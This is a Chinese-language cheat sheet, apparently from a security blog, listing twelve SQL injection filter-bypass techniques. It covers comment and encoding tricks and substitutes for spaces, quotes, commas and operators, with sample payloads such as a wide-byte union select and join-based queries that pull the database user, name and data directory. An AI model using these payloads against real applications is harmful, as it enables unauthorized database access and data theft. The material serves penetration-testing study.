sql注入绕过技法
1. 注释符号绕过
原理:SQL注释符号(如--
, /* */
)可以用来忽略查询的一部分,特别是在注入点之后的部分。这对于绕过需要闭合的查询或移除查询余下部分的情况特别有用。
-- 注释内容
# 注释内容
/*注释内容*/
;
2. 内联注释绕过
原理:在SQL关键词中插入内联注释(如/**/
),可以改变关键词的外观,绕过基于文本匹配的过滤器。
SEL/**/ECT。在SELECT中间加入内联注释,可能绕过对SELECT关键词的检查
3. 大小写绕过
原理:SQL是不区分大小写的,所以可以混合使用大小写字母来绕过对特定关键字(如SELECT
, FROM
)的过滤。
select 换成 SeleCT
4. 双写绕过
过滤器可能尝试移除某些关键字,利用重复的关键字可能绕过对于它们的单次出现
selselecctect
oOrr
5. 编码绕过
- URL全编码
对关键字进行两次url全编码:
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2
- ASCII绕过
使用ASCII码表示字符,这样可以绕过对普通字符集的过滤。
使用CHAR(65)代替A,在某些情况下可以绕过对直接字符A的过滤。
- 十六进制绕过
使用十六进制值来表示字符串,可以绕过对普通字符串的过滤。
使用0x414243代替字符串'ABC'。
- Unicode编码绕过
使用Unicode编码来替代字符,以绕过对特定字符或字符串的过滤。
使用\u0041代替A。
6. 大于小于号绕过
在进行sql盲注的时候一般使用大于小于号来判断ascii的大小
- greatest(n1,n2,n3…)和least(n1,n2,n3…)返回最大值和最小值
...where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
- in关键字
where id=1 and substr(database(),1,1) in ('c');
- between a and b(不包含b)
where id=1 and substr(database(),1,1) between 'a' and 'd';
7. 空格绕过
如果空格被过滤,可以使用其他字符或编码来代替空格,如注释、制表符等
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
8. 逻辑运算符绕过
OR、AND、XOR、NOT被过滤的话,可以采取以下方法:
or = ||
and = &&
xor = | 或者 ^
not = !
9. 等号绕过
如果等号=
被过滤,可以尝试使用其他的操作符或逻辑来达成类似的效果。
1.假如要=1,那我们可以>0 and <2
2.<>等价于!=,所以在前面再加一个!,Select * from cms_users where !(username <> "admin");
3.like, username = 'admin'
4.username LIKE 'a%'。这将匹配任何以'a'开头的用户名
5.MySQL中使用 REGEXP 操作符来进行正则表达式匹配,Select * from cms_users where username REGEXP "admin";
10. 单引号绕过
1.where table_name="users" 换成 where table_name=0x7573657273
2.宽字节,用%df吃掉\,id=-1%df%27union select 1,user(),3--+
3.可能产生二次注入
11. 逗号绕过
我们可能会使用substr(),substring(),mid()等函数,里面会有逗号
- 对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
- join关键字
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
- like关键字
select ascii(mid(user(),1,1))=80
select user() like 'r%'
12. 关键函数绕过
1.sleep() -->benchmark() 指定次数表达式,造成延迟
2.使用 HEX('A') 或 BIN('A') 替代 ASCII('A')。
3.SELECT group_concat('str1','str2');->SELECT concat_ws(',', 'str1', 'str2');
4.使用SELECT @@user; 替代SELECT user();
5.ord()->ascii()
6.SELECT IF(substr(database(),1,1)='c',1,0);->SELECT IFNULL(substr(database(),1,1)='c',0); 或 SELECT CASE substr(database(),1,1)='c' WHEN 1 THEN 1 ELSE 0 END;
以上就是目前常见的绕过方法,本节参考文章,这篇文章后面写的很详细值得研究